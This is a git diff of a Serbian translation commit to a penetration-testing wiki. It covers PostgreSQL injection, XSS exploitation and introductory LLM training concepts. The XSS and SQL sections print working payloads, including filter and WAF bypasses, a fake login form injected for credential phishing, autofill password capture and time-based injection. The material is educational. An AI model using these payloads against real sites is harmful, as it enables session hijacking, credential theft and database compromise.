Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).

View file

@ -15,9 +15,9 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_potrebno je tečno pisanje i govorenje poljskog jezika_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_potrebno je tečno pisanje i govorenje poljskog_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -27,11 +27,11 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
**PostgreSQL modul `dblink`** nudi mogućnosti za povezivanje sa drugim PostgreSQL instancama i izvršavanje TCP veza. Ove funkcije, u kombinaciji sa `COPY FROM` funkcionalnošću, omogućavaju radnje poput eskalacije privilegija, skeniranja portova i hvatanja NTLM izazova. Za detaljne metode o izvršavanju ovih napada proverite kako da [izvršite ove napade](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
**PostgreSQL modul `dblink`** nudi mogućnosti za povezivanje sa drugim PostgreSQL instancama i izvršavanje TCP konekcija. Ove funkcije, u kombinaciji sa `COPY FROM` funkcionalnošću, omogućavaju radnje poput eskalacije privilegija, skeniranja portova i hvatanja NTLM izazova. Za detaljne metode o izvršavanju ovih napada proverite kako da [izvršite ove napade](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
### **Primer exfiltracije koristeći dblink i velike objekte**
### **Primer eksfiltracije koristeći dblink i velike objekte**
Možete [**pročitati ovaj primer**](dblink-lo\_import-data-exfiltration.md) da vidite CTF primer **kako učitati podatke unutar velikih objekata i zatim exfiltrirati sadržaj velikih objekata unutar korisničkog imena** funkcije `dblink_connect`.
Možete [**pročitati ovaj primer**](dblink-lo\_import-data-exfiltration.md) da vidite CTF primer **kako učitati podatke unutar velikih objekata i zatim eksfiltrirati sadržaj velikih objekata unutar korisničkog imena** funkcije `dblink_connect`.
## PostgreSQL napadi: Čitanje/pisanje, RCE, privesc
@ -50,7 +50,7 @@ Manipulacija stringovima može vam pomoći da **zaobiđete WAF-ove ili druge res
### Stacked Queries
Zapamtite da PostgreSQL podržava složene upite, ali nekoliko aplikacija će baciti grešku ako se vrate 2 odgovora kada se očekuje samo 1. Ali, još uvek možete zloupotrebiti složene upite putem vremenske injekcije:
Zapamtite da postgresql podržava složene upite, ali nekoliko aplikacija će baciti grešku ako se vrate 2 odgovora kada se očekuje samo 1. Ali, još uvek možete zloupotrebiti složene upite putem vremenske injekcije:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -65,13 +65,13 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database\_to\_xml**
Ova funkcija će dumpovati celu bazu podataka u XML formatu u samo 1 redu (budite oprezni ako je baza podataka veoma velika jer možete izazvati DoS ili čak vašeg vlastitog klijenta):
Ova funkcija će izbaciti celu bazu podataka u XML formatu u samo 1 redu (budite oprezni ako je baza podataka veoma velika jer možete izazvati DoS ili čak vašeg vlastitog klijenta):
```sql
SELECT database_to_xml(true,true,'');
```
### Strings in Hex
Ako možete da izvršavate **upite** prosleđujući ih **unutar stringa** (na primer koristeći funkciju **`query_to_xml`**). **Možete koristiti convert\_from da prosledite string kao hex i na taj način zaobiđete filtre:**
Ako možete da izvršavate **upite** prosleđujući ih **unutar stringa** (na primer koristeći funkciju **`query_to_xml`**). **Možete koristiti convert\_from da prosledite string kao heksadecimalni i na taj način zaobiđete filtre:**
{% code overflow="wrap" %}
```sql
@ -97,7 +97,7 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako ste zainteresovani za **karijeru u hakovanju** i da hakujete ono što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno pisanje i govorenje poljskog_).

View file

@ -1,6 +1,6 @@
# XSS (Cross Site Scripting)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ako vas zanima **karijera u hakovanju** i da hakujete nehakovano - **zapošljavamo!** (_potrebno je tečno pisano i govorno poljski_).
@ -26,12 +26,12 @@ Ako vas zanima **karijera u hakovanju** i da hakujete nehakovano - **zapošljava
3. Unutar **JavaScript koda**:
1. Možete li pobjeći iz `<script>` taga?
2. Možete li pobjeći iz stringa i izvršiti različit JS kod?
3. Da li su vaši unosi u template literalu \`\`?
3. Da li su vaši ulazi u template literalu \`\`?
4. Možete li zaobići zaštite?
4. Javascript **funkcija** koja se **izvršava**
1. Možete naznačiti ime funkcije koju treba izvršiti. npr.: `?callback=alert(1)`
4. Ako je **korisno**:
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš unos kontroliše i da li se vaš **kontrolisani unos koristi od strane bilo kog sinka.**
1. Mogli biste iskoristiti **DOM XSS**, obratite pažnju kako se vaš ulaz kontroliše i da li se vaš **kontrolisani ulaz koristi od strane bilo kog sinka.**
Kada radite na složenom XSS-u, možda će vam biti zanimljivo da znate o:
@ -49,21 +49,21 @@ Da biste uspešno iskoristili XSS, prva stvar koju treba da pronađete je **vred
## Konteksti
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš unos odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljni JS kod na različite načine.
Kada pokušavate da iskoristite XSS, prva stvar koju treba da znate je **gde se vaš ulaz odražava**. U zavisnosti od konteksta, moći ćete da izvršite proizvoljni JS kod na različite načine.
### Sirovi HTML
Ako se vaš unos **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
Ako se vaš ulaz **odražava na sirovom HTML** stranici, moraćete da zloupotrebite neki **HTML tag** kako biste izvršili JS kod: `<img , <iframe , <svg , <script` ... ovo su samo neki od mnogih mogućih HTML tagova koje možete koristiti.\
Takođe, imajte na umu [Client Side Template Injection](../client-side-template-injection-csti.md).
### Unutar atributa HTML tagova
Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati:
Ako se vaš ulaz odražava unutar vrednosti atributa taga, mogli biste pokušati:
1. Da **pobegnete iz atributa i iz taga** (onda ćete biti u sirovom HTML-u) i kreirate novi HTML tag za zloupotrebu: `"><img [...]`
2. Ako **možete pobjeći iz atributa, ali ne i iz taga** (`>` je kodiran ili obrisan), u zavisnosti od taga mogli biste **kreirati događaj** koji izvršava JS kod: `" autofocus onfocus=alert(1) x="`
3. Ako **ne možete pobjeći iz atributa** (`"` se kodira ili briše), onda u zavisnosti od **koji atribut** se vaša vrednost odražava **ako kontrolišete celu vrednost ili samo deo** moći ćete da je zloupotrebite. Na **primer**, ako kontrolišete događaj kao što je `onclick=`, moći ćete da ga izvršite proizvoljni kod kada se klikne. Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javascript:` protokol za izvršavanje proizvoljnog koda: **`href="javascript:alert(1)"`**
4. Ako se vaš unos odražava unutar "**neiskoristivih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da to iskoristite): **`" accesskey="x" onclick="alert(1)" x="`**
4. Ako se vaš ulaz odražava unutar "**neeksploatabilnih tagova**", mogli biste pokušati trik sa **`accesskey`** da zloupotrebite ranjivost (biće vam potrebna neka vrsta socijalnog inženjeringa da to iskoristite): **`" accesskey="x" onclick="alert(1)" x="`**
Čudan primer Angular-a koji izvršava XSS ako kontrolišete ime klase:
```html
@ -76,7 +76,7 @@ Ako se vaš unos odražava unutar vrednosti atributa taga, mogli biste pokušati
U ovom slučaju, vaš unos se odražava između **`<script> [...] </script>`** oznaka HTML stranice, unutar `.js` datoteke ili unutar atributa koristeći **`javascript:`** protokol:
* Ako se odražava između **`<script> [...] </script>`** oznaka, čak i ako je vaš unos unutar bilo kakvih navodnika, možete pokušati da injektujete `</script>` i pobegnete iz ovog konteksta. Ovo funkcioniše jer **pregledač prvo analizira HTML oznake** a zatim sadržaj, stoga neće primetiti da je vaša injektovana `</script>` oznaka unutar HTML koda.
* Ako se odražava **unutar JS stringa** i poslednji trik ne funkcioniše, potrebno je da **izađete** iz stringa, **izvršite** svoj kod i **rekonstruišete** JS kod (ako dođe do greške, neće biti izvršen):
* Ako se odražava **unutar JS stringa** i poslednji trik ne funkcioniše, potrebno je da **napustite** string, **izvršite** vaš kod i **rekonstruišete** JS kod (ako dođe do greške, neće biti izvršen):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
@ -165,16 +165,16 @@ U ovom slučaju i ako se ne koristi crna/bela lista, mogli biste koristiti paylo
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```
Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da **napravite brute-force koji tagovi** možete kreirati.\
Kada **locirate koji tagovi su dozvoljeni**, moraćete da **napravite brute-force atribute/događaje** unutar pronađenih validnih tagova da vidite kako možete napasti kontekst.
Ali, ako se koristi crna/bela lista tagova/atributa, moraćete da **napadnete koje tagove** možete da kreirate.\
Kada **pronađete koji tagovi su dozvoljeni**, moraćete da **napadnete atribute/događaje** unutar pronađenih validnih tagova da biste videli kako možete napasti kontekst.
### Brute-force tagova/događaja
### Napad na tagove/događaje
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Kopiraj tagove u međuspremnik**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **napraviti brute-force sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Kopiraj događaje u međuspremnik**_ i pratite istu proceduru kao pre).
Idite na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) i kliknite na _**Kopiraj tagove u međuspremnik**_. Zatim, pošaljite sve njih koristeći Burp intruder i proverite da li neki tag nije otkriven kao zlonameran od strane WAF-a. Kada otkrijete koje tagove možete koristiti, možete **napasti sve događaje** koristeći validne tagove (na istoj web stranici kliknite na _**Kopiraj događaje u međuspremnik**_ i pratite istu proceduru kao pre).
### Prilagođeni tagovi
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **napravite prilagođeni tag** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod:
Ako niste pronašli nijedan validan HTML tag, možete pokušati da **kreirate prilagođeni tag** i izvršite JS kod sa atributom `onfocus`. U XSS zahtevu, morate završiti URL sa `#` da biste naterali stranicu da **fokusira na taj objekat** i **izvrši** kod:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -280,7 +280,7 @@ Još jedan zanimljiv **primer** je atribut `href`, gde možete koristiti `javasc
**Zaobilaženje unutar događaja koristeći HTML kodiranje/URL kodiranje**
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti validno (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Vrati se </a>`
**HTML kodirani karakteri** unutar vrednosti atributa HTML oznaka se **dekodiraju u vreme izvršavanja**. Stoga nešto poput sledećeg će biti važeće (payload je u podebljanom): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Vrati se </a>`
Napomena da je **svaka vrsta HTML kodiranja validna**:
```javascript
@ -381,7 +381,7 @@ Možete koristiti **Hex** i **Octal kodiranje** unutar `src` atributa `iframe` (
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Obrnuto nabbing kartica
### Obrnuto nabbing taba
```javascript
<a target="_blank" rel="opener"
```
@ -446,7 +446,7 @@ Pročitajte [Obilaženje crne liste iz prethodne sekcije](./#blacklist-bypasses)
**Obilaženje za JavaScript kod**
Pročitajte [crnu listu obilaženja za JavaScript iz sledeće sekcije](./#javascript-bypass-blacklists-techniques).
Pročitajte [crnu listu obilaženja JavaScript-a iz sledeće sekcije](./#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
@ -478,7 +478,7 @@ Ako je vaš kod umetnut unutar `<script> [...] var input = 'reflektovani podaci'
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
Napomena da u ovom primeru **nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a za razumevanje i izvršavanje ugrađenih skripti se vrši tek kasnije.
Napomena da u ovom primeru **nismo ni zatvorili jednostruki navodnik**. To je zato što **HTML parsiranje prvo vrši pregledač**, što uključuje identifikaciju elemenata stranice, uključujući blokove skripti. Parsiranje JavaScript-a da bi se razumele i izvršile ugrađene skripte se vrši tek kasnije.
### Unutar JS koda
@ -490,8 +490,8 @@ Ako se `<>` sanitizuju, još uvek možete **pobeći string** gde se vaš unos **
```
### Template literals \`\`
Da biste konstruisali **stringove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **obrnute navodnike** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi obrnute navodnike, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
Da biste konstruisali **stringove** pored jednostrukih i dvostrukih navodnika, JS takođe prihvata **backticks** **` `` `**. Ovo je poznato kao template literals jer omogućava **ugrađivanje JS izraza** koristeći `${ ... }` sintaksu.\
Stoga, ako primetite da se vaš unos **reflektuje** unutar JS stringa koji koristi backticks, možete zloupotrebiti sintaksu `${ ... }` da izvršite **arbitrarni JS kod**:
Ovo se može **zloupotrebiti** koristeći:
```javascript
@ -673,7 +673,7 @@ try{throw onerror=alert}catch{throw 1}
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**Poziv proizvoljne funkcije (alert)**
**Arbitrarni poziv funkcije (alert)**
````javascript
//Eval like functions
eval('ale'+'rt(1)')
@ -765,26 +765,26 @@ Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS
Ako pronađete neki self XSS i web stranica ima **održivost sesije za administratore**, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
Možete naterati **administratora da izazove vaš self XSS** i ukradete njegove kolačiće/sesiju.
Možete naterati **administratora da izazove vaš self XSS** i ukrade njegove kolačiće/sesiju.
## Ostali zaobilaženja
## Ostali Bypass-ovi
### Normalizovani Unicode
Možete proveriti da li su **reflektovane vrednosti** **unicode normalizovane** na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. [**Pronađite primer ovde**](../unicode-injection/#xss-cross-site-scripting).
### PHP FILTER\_VALIDATE\_EMAIL flag zaobilaženje
### PHP FILTER\_VALIDATE\_EMAIL flag Bypass
```javascript
"><svg/onload=confirm(1)>"@x.y
```
### Ruby-On-Rails bypass
Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
Zbog **RoR masovne dodeljivanje** citati se ubacuju u HTML, a zatim se zaobilaže ograničenja citata i dodatna polja (onfocus) mogu biti dodata unutar taga.\
Primer forme ([iz ovog izveštaja](https://hackerone.com/reports/709336)), ako pošaljete payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Par "Ključ","Vrednost" će biti vraćen nazad ovako:
Par "Ključ","Vrednost" će biti vraćen ovako:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -822,18 +822,18 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS sa injekcijom zaglavlja u 302 odgovoru
Ako otkrijete da možete **injektovati zaglavlja u 302 preusmeravajućem odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
Ako otkrijete da možete **injektovati zaglavlja u 302 Redirect odgovoru**, možete pokušati da **naterate pregledač da izvrši proizvoljni JavaScript**. Ovo je **nije trivijalno** jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
U [**ovom izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
U [**ovoj izveštaju**](https://www.gremwell.com/firefox-xss-302) i [**ovom**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.\
Poznati protokoli: `mailto://`, `//x:1/`, `ws://`, `wss://`, _prazno Location zaglavlje_, `resource://`.
### Samo slova, brojevi i tačke
Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničen na te karaktere. [**Pročitajte ovaj deo ovog posta**](./#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje.
Ako ste u mogućnosti da naznačite **callback** koji će JavaScript **izvršiti** ograničeno na te karaktere. [**Pročitajte ovaj deo ovog posta**](./#javascript-function) da biste saznali kako da zloupotrebite ovo ponašanje.
### Validni `<script>` Content-Types za XSS
(Iz [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će prikazati sledeću grešku:
(Iz [**ovde**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ako pokušate da učitate skriptu sa **content-type** kao što je `application/octet-stream`, Chrome će baciti sledeću grešku:
> Odbijeno izvršavanje skripte sa [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') jer njen MIME tip (application/octet-stream) nije izvršiv, a strogo proveravanje MIME tipa je omogućeno.
@ -996,7 +996,7 @@ import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
// our actual module code
});
```
Stoga, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**:
Zato, ako iz tog modula možemo **pozvati drugu funkciju**, moguće je koristiti `arguments.callee.caller.arguments[1]` iz te funkcije da pristupimo **`require`**:
{% code overflow="wrap" %}
```javascript
@ -1204,7 +1204,7 @@ Pregledajte listu portova koji su zabranjeni u Chrome-u [**ovde**](https://src.c
```markup
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Hvatanje lozinki za automatsko popunjavanje
### Hvatanje automatski popunjenih lozinki
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1265,7 +1265,7 @@ document.getElementById("message").src += "&"+e.data;
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
### Slepe XSS payload-ovi
### Slepi XSS payloadi
Takođe možete koristiti: [https://xsshunter.com/](https://xsshunter.com)
```markup
@ -1444,9 +1444,9 @@ Find **više SVG payloads u** [**https://github.com/allanlw/svg-cheatsheet**](ht
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking karijeri** and hack the unhackable - **zapošljavamo!** (_tečno pisanje i govorenje poljskog jezika je obavezno_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_tečno poljski pisano i govorno potrebno_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -1458,9 +1458,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
<summary>Podrška HackTricks</summary>
* Check the [**planovi pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) or the [**telegram grupi**](https://t.me/peass) or **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hacking trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -2,11 +2,11 @@
## Pretreniranje
Pretreniranje je osnovna faza u razvoju velikog jezičkog modela (LLM) gde je model izložen ogromnim i raznovrsnim količinama tekstualnih podataka. Tokom ove faze, **LLM uči osnovne strukture, obrasce i nijanse jezika**, uključujući gramatiku, rečnik, sintaksu i kontekstualne odnose. Procesuiranjem ovih opsežnih podataka, model stiče široko razumevanje jezika i opšteg znanja o svetu. Ova sveobuhvatna osnova omogućava LLM-u da generiše koherentan i kontekstualno relevantan tekst. Nakon toga, ovaj prethodno trenirani model može proći kroz fino podešavanje, gde se dodatno obučava na specijalizovanim skupovima podataka kako bi prilagodio svoje sposobnosti za specifične zadatke ili domene, poboljšavajući svoju efikasnost i relevantnost u ciljnim aplikacijama.
Pretreniranje je osnovna faza u razvoju velikog jezičkog modela (LLM) gde je model izložen ogromnim i raznovrsnim količinama tekstualnih podataka. Tokom ove faze, **LLM uči osnovne strukture, obrasce i nijanse jezika**, uključujući gramatiku, rečnik, sintaksu i kontekstualne odnose. Procesuiranjem ovih opsežnih podataka, model stiče široko razumevanje jezika i opšteg znanja o svetu. Ova sveobuhvatna osnova omogućava LLM-u da generiše koherentan i kontekstualno relevantan tekst. Nakon toga, ovaj pretrenirani model može proći kroz fino podešavanje, gde se dodatno obučava na specijalizovanim skupovima podataka kako bi prilagodio svoje sposobnosti za specifične zadatke ili domene, poboljšavajući svoju efikasnost i relevantnost u ciljnim aplikacijama.
## Glavne komponente LLM-a
Obično se LLM karakteriše konfiguracijom koja se koristi za njegovo treniranje. Ovo su uobičajene komponente prilikom treniranja LLM-a:
Obično se LLM karakteriše konfiguracijom koja se koristi za njegovo obučavanje. Ovo su uobičajene komponente prilikom obučavanja LLM-a:
* **Parametri**: Parametri su **učljive težine i pristrasnosti** u neuronskoj mreži. To su brojevi koje proces obuke prilagođava kako bi minimizirao funkciju gubitka i poboljšao performanse modela na zadatku. LLM-ovi obično koriste milione parametara.
* **Dužina konteksta**: Ovo je maksimalna dužina svake rečenice koja se koristi za pretreniranje LLM-a.
@ -41,7 +41,7 @@ U PyTorch-u, **tenzor** je osnovna struktura podataka koja služi kao višedimen
### Tenzori kao kontejneri podataka
Iz računarske perspektive, tenzori deluju kao kontejneri za višedimenzionalne podatke, gde svaka dimenzija može predstavljati različite karakteristike ili aspekte podataka. Ovo čini tenzore veoma pogodnim za rukovanje složenim skupovima podataka u zadacima mašinskog učenja.
Iz računarskog ugla, tenzori deluju kao kontejneri za višedimenzionalne podatke, gde svaka dimenzija može predstavljati različite karakteristike ili aspekte podataka. Ovo čini tenzore veoma pogodnim za rukovanje složenim skupovima podataka u zadacima mašinskog učenja.
### PyTorch tenzori vs. NumPy nizovi
@ -122,7 +122,7 @@ Tenzori su ključni u PyTorch-u za izgradnju i obučavanje neuronskih mreža:
## Automatska Diferencijacija
Automatska diferencijacija (AD) je računarska tehnika koja se koristi za **evaluaciju derivata (gradijenata)** funkcija efikasno i tačno. U kontekstu neuronskih mreža, AD omogućava izračunavanje gradijenata potrebnih za **optimizacione algoritme kao što je gradijentni spust**. PyTorch pruža motor automatske diferencijacije nazvan **autograd** koji pojednostavljuje ovaj proces.
Automatska diferencijacija (AD) je računarska tehnika koja se koristi za **evaluaciju derivata (gradijenata)** funkcija efikasno i tačno. U kontekstu neuronskih mreža, AD omogućava izračunavanje gradijenata potrebnih za **optimizacione algoritme kao što je gradijentni spust**. PyTorch pruža motor automatske diferencijacije pod nazivom **autograd** koji pojednostavljuje ovaj proces.
### Matematičko Objašnjenje Automatske Diferencijacije
@ -132,7 +132,7 @@ U srcu automatske diferencijacije je **pravilo lanca** iz kalkulusa. Pravilo lan
Matematički, ako je `y=f(u)` i `u=g(x)`, tada je derivat `y` u odnosu na `x`:
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. Računarska Grafika**
@ -142,7 +142,7 @@ U AD, proračuni su predstavljeni kao čvorovi u **računarskoj grafici**, gde s
Razmotrimo jednostavnu funkciju:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Gde:

View file

@ -11,7 +11,7 @@ Za ovo se koristi mnogo slojeva, tako da će mnogo parametara za obuku hvatati o
### Razumevanje mehanizama pažnje
U tradicionalnim modelima sekvenca-sekvenca koji se koriste za prevođenje jezika, model kodira ulaznu sekvencu u vektoru konteksta fiksne veličine. Međutim, ovaj pristup se suočava sa problemima sa dugim rečenicama jer fiksni vektor konteksta možda neće uhvatiti sve potrebne informacije. Mehanizmi pažnje rešavaju ovo ograničenje omogućavajući modelu da razmatra sve ulazne tokene prilikom generisanja svakog izlaznog tokena.
U tradicionalnim modelima sekvenca-sekvenca koji se koriste za prevođenje jezika, model kodira ulaznu sekvencu u vektorski kontekst fiksne veličine. Međutim, ovaj pristup se suočava sa problemima sa dugim rečenicama jer fiksni vektorski kontekst možda neće uhvatiti sve potrebne informacije. Mehanizmi pažnje rešavaju ovo ograničenje omogućavajući modelu da razmatra sve ulazne tokene prilikom generisanja svakog izlaznog tokena.
#### Primer: Mašinsko prevođenje
@ -40,10 +40,10 @@ Naš cilj je da izračunamo **vektor konteksta** za reč **"shiny"** koristeći
#### Korak 1: Izračunavanje rezultata pažnje
{% hint style="success" %}
Samo pomnoži svaku dimenzionalnu vrednost upita sa relevantnom vrednošću svakog tokena i saberi rezultate. Dobijaš 1 vrednost po paru tokena.
Samo pomnožite svaku dimenzionalnu vrednost upita sa relevantnom vrednošću svakog tokena i saberite rezultate. Dobijate 1 vrednost po paru tokena.
{% endhint %}
Za svaku reč u rečenici, izračunaj **rezultat pažnje** u odnosu na "shiny" izračunavanjem skalarne produkcije njihovih umetanja.
Za svaku reč u rečenici, izračunajte **rezultat pažnje** u odnosu na "shiny" izračunavanjem skalarne produkcije njihovih umetanja.
**Rezultat pažnje između "Hello" i "shiny"**
@ -51,7 +51,7 @@ Za svaku reč u rečenici, izračunaj **rezultat pažnje** u odnosu na "shiny" i
**Rezultat pažnje između "shiny" i "shiny"**
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Rezultat pažnje između "sun" i "shiny"**
@ -60,12 +60,12 @@ Za svaku reč u rečenici, izračunaj **rezultat pažnje** u odnosu na "shiny" i
